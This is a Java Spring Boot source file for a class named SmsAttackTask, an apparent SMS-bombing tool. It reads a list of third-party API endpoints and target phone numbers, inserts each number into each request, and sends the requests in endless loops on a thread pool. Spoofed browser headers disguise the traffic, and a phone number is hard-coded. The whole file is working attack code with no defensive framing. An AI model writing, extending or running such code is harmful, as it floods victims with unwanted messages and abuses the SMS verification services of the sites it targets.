package plus.feifei.attack.component;

import cn.hutool.core.date.DateTime;
import cn.hutool.core.date.DateUtil;
import cn.hutool.core.thread.ThreadUtil;
import cn.hutool.core.util.StrUtil;
import cn.hutool.http.HttpRequest;
import cn.hutool.http.HttpUtil;
import cn.hutool.json.JSONObject;
import cn.hutool.json.JSONUtil;
import lombok.extern.slf4j.Slf4j;
import org.springframework.boot.ApplicationArguments;
import org.springframework.boot.ApplicationRunner;
import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor;
import org.springframework.stereotype.Component;
import plus.feifei.attack.bean.ApiRequestBean;
import plus.feifei.attack.utils.ParseApiUtil;

import javax.annotation.PostConstruct;
import javax.annotation.Resource;
import java.util.*;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.TimeUnit;

@Slf4j
@Component
public class SmsAttackTask implements ApplicationRunner {
    static final String PHONE = "17722563370";
    @Resource
    private ThreadPoolTaskExecutor executor;

    private void request(String phone, ApiRequestBean apiRequestBean) {
        String url = apiRequestBean.getUrl();

        HttpRequest request = null;
        if (StrUtil.equals(apiRequestBean.getMethod(), "post")) {
            request = HttpUtil.createPost(url);
        } else if (StrUtil.equals(apiRequestBean.getMethod(), "get")) {
            request = HttpUtil.createGet(url);
        }
        if (StrUtil.equals(apiRequestBean.getContentType(), "json")) {
            JSONObject body = apiRequestBean.getBody();
            if (body != null) {
                request.body(JSONUtil.toJsonStr(body));

            }
        }
        Map<String, String> header = new HashMap<>();
        header.put("Content-Type", "application/json;charset=UTF-8");
        header.put("Sec-Ch-Ua-Platform", "\"macOS\"");
        header.put("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36");

        JSONObject headerJson = Optional.ofNullable(apiRequestBean.getHeader()).orElse(new JSONObject());
        for (String key : headerJson.keySet()) {
            header.put(key, headerJson.get(key).toString());
        }
        Iterator<String> iterator = header.keySet().iterator();
        while (iterator.hasNext()) {
            String key = iterator.next();
            request.header(key, header.get(key));
        }
        String body = request.execute().body();

        log.info("{}-{}-结果：{}", phone, apiRequestBean.getName(), body);
    }


    @Override
    public void run(ApplicationArguments args) {
        List<ApiRequestBean> apiList = ParseApiUtil.getApiList();

        for (String phone : ParseApiUtil.getPhoneList()) {
            for (ApiRequestBean apiRequestBean : apiList) {
                apiRequestBean.replacePhone(phone);
                executor.execute(() -> {
                    while (true) {
                        // 替换请求体里面的手机号
                        request(phone, apiRequestBean);
                        ThreadUtil.sleep(apiRequestBean.getCd(), TimeUnit.SECONDS);
                    }
                });
            }
        }

    }
}
